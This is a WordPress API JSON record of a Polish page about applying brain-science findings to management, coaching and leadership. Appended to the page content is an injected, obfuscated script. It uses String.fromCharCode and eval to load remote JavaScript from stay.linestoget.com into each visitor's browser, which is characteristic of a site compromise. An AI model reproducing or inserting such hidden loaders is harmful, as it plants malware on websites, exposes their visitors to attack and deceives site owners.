{"id":176,"date":"2017-03-03T21:01:28","date_gmt":"2017-03-03T20:01:28","guid":{"rendered":"http:\/\/darekniedzieski.pl\/odkrycia-mozgu-w-zarzadzaniu\/"},"modified":"2017-03-03T21:01:28","modified_gmt":"2017-03-03T20:01:28","slug":"odkrycia-mozgu-w-zarzadzaniu","status":"publish","type":"page","link":"https:\/\/darekniedzieski.pl\/index.php\/odkrycia-mozgu-w-zarzadzaniu\/","title":{"rendered":"Odkrycia nauki o m\u00f3zgu w zarz\u0105dzaniu&#8230; i nie tylko"},"content":{"rendered":"<p>Odkrycia nauki o m\u00f3zgu stosowane w coachingu, edukacji, zarz\u0105dzaniu i mentoringu to moja\u00a0pasja! Zwracaj uwag\u0119 na poni\u017csze loga. Tam znajdziesz wi\u0119cej ciekawych informacji.<\/p>\n\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\" size-medium wp-image-362 alignleft\" src=\"https:\/\/darekniedzieski.pl\/wp-content\/uploads\/2017\/03\/przywodztwo-male.png?w=300\" alt=\"Przywodztwo male\" width=\"300\" height=\"91\" \/>Uczestniczymy w szkoleniach, dzi\u0119ki kt\u00f3rym nabywamy wiele kompetencji mi\u0119kkich, uczymy si\u0119 obs\u0142ugiwa\u0107 komputery i r\u00f3\u017cne programy, ale nie uczymy si\u0119, jak w spos\u00f3b maksymalnie skuteczny pos\u0142ugiwa\u0107 si\u0119 najbardziej skomplikowanym narz\u0119dziem, w jaki wyposa\u017cy\u0142a nas natura \u2013 naszym M\u00d3ZGIEM. M\u00f3zg ze \u015bwiata zewn\u0119trznego odbiera sygna\u0142y wykorzystuj\u0105c 5 milion\u00f3w neuron\u00f3w, g\u0142\u00f3wnie zwi\u0105zanych ze wzrokiem i s\u0142uchem. Kora m\u00f3zgowa, w kt\u00f3rej zachodz\u0105 wszystkie z\u0142o\u017cone procesy analizy, podejmowania decyzji, planowania sk\u0142ada si\u0119 z oko\u0142o 15 miliard\u00f3w neuron\u00f3w. Mo\u017cna wi\u0119c powiedzie\u0107, \u017ce m\u00f3zg wykonuje prace g\u0142\u00f3wnie na swoj\u0105 rzecz, gdy\u017c na kontakt ze \u015bwiatem zewn\u0119trznym wykorzystuje zaledwie 0,3 promile (!) swoich zasob\u00f3w. Jednocze\u015bnie w ci\u0105gu ka\u017cdej sekundy m\u00f3zg przyjmuje oko\u0142o 200 megabajt\u00f3w informacji. Obrazowo mo\u017cna to por\u00f3wna\u0107 z sytuacj\u0105, kiedy w ci\u0105gu jednej sekundy ogl\u0105damy w przyspieszonym tempie 6 minut filmu. Nic wi\u0119c dziwnego, \u017ce widzimy i s\u0142yszymy w spos\u00f3b \u015bwiadomy tylko to, co m\u00f3zg chce, aby\u015bmy widzieli i s\u0142yszeli, a na du\u017c\u0105 cz\u0119\u015b\u0107 informacji nie tylko nie jeste\u015bmy w stanie zareagowa\u0107, ale nawet \u015bwiadomie jej zauwa\u017cy\u0107. To t\u0142umaczy r\u00f3wnie\u017c fakt, dlaczego tak trudno czasami ludziom si\u0119 porozumie\u0107 i wzajemnie zrozumie\u0107. To r\u00f3wnie\u017c pokazuje, jak wa\u017cna dla ka\u017cdego lidera\/mened\u017cera jest znajomo\u015b\u0107 prawide\u0142 i regu\u0142, wed\u0142ug kt\u00f3rych dzia\u0142a m\u00f3zg. Bez tej wiedzy niezwykle trudno jest im odpowiednio komunikowa\u0107 si\u0119 z innymi i skutecznie ich motywowa\u0107, jak i optymalnie podejmowa\u0107 w\u0142asne decyzje i rozwi\u0105zywa\u0107 pojawiaj\u0105ce si\u0119 problemy.<\/p>\n<p>Kolejny pow\u00f3d, dla kt\u00f3rego znajomo\u015b\u0107 dzia\u0142ania m\u00f3zgu jest praktycznie niezb\u0119dna dla ka\u017cdego lidera\/mened\u017cera zawiera si\u0119 w spostrze\u017ceniu, \u017ce szybko zmieniaj\u0105cy si\u0119 wok\u00f3\u0142 \u015bwiat stawia nowe wyzwania przed mened\u017cerami. Aby osi\u0105gn\u0105\u0107 sukces zar\u00f3wno osobisty, jak i sukces organizacji, dla kt\u00f3rych pracuj\u0105 ju\u017c nie wystarcza, \u017ce b\u0119d\u0105 jedynie kierowali prac\u0105 swoich podw\u0142adnych. Chc\u0105c wyzwoli\u0107 pe\u0142en potencja\u0142 swoich pracownik\u00f3w, musz\u0105 sta\u0107 si\u0119 dla nich prawdziwymi, \u015bwiadomymi liderami, kt\u00f3rzy umiej\u0105 szybko i zdecydowanie i co najwa\u017cniejsze skutecznie reagowa\u0107 na zachodz\u0105ce zmiany. Nie b\u0119dzie to mo\u017cliwe bez zrozumienia, \u017ce mog\u0105 to osi\u0105gn\u0105\u0107 dzi\u0119ki umiej\u0119tno\u015bci zmiany sposobu my\u015blenia swojego i swoich ludzi. Elastycznie reagowanie przez mened\u017cer\u00f3w na zachodz\u0105ce zmiany b\u0119dzie od nich wymaga\u0142o umiej\u0119tno\u015bci zarz\u0105dzenia zmian\u0105 przede wszystkim dotychczasowego sposobu my\u015blenia, zar\u00f3wno ich, jak i zespo\u0142\u00f3w, kt\u00f3rym przewodz\u0105. Jedynie zmiana sposobu my\u015blenia gwarantuje, \u017ce zmiany b\u0119d\u0105 trwa\u0142e. \u017beby to by\u0142o mo\u017cliwe, mened\u017cer powinien by\u0107 wspierany przez wiedz\u0119, jak dzia\u0142a m\u00f3zg, kt\u00f3rym pos\u0142ugujemy si\u0119 w spos\u00f3b nie zawsze doskona\u0142y.<\/p>\n<p>Wi\u0119cej informacji na stronie po\u015bwi\u0119conej sprawie neurobiologii\u00a0<a href=\"http:\/\/neuro4coaching.wordpress.com\">neuro4coaching.wordpress.com<\/a><\/p>\n<p>&nbsp;<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Odkrycia nauki o m\u00f3zgu stosowane w coachingu, edukacji, zarz\u0105dzaniu i mentoringu to moja\u00a0pasja! Zwracaj uwag\u0119 na poni\u017csze loga. Tam znajdziesz wi\u0119cej ciekawych informacji. &nbsp; &nbsp; Uczestniczymy w szkoleniach, dzi\u0119ki kt\u00f3rym nabywamy wiele kompetencji mi\u0119kkich, uczymy si\u0119 obs\u0142ugiwa\u0107 komputery i r\u00f3\u017cne programy, ale nie uczymy si\u0119, jak w spos\u00f3b maksymalnie skuteczny pos\u0142ugiwa\u0107 si\u0119 najbardziej skomplikowanym narz\u0119dziem, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/176"}],"collection":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/comments?post=176"}],"version-history":[{"count":0,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/176\/revisions"}],"wp:attachment":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/media?parent=176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}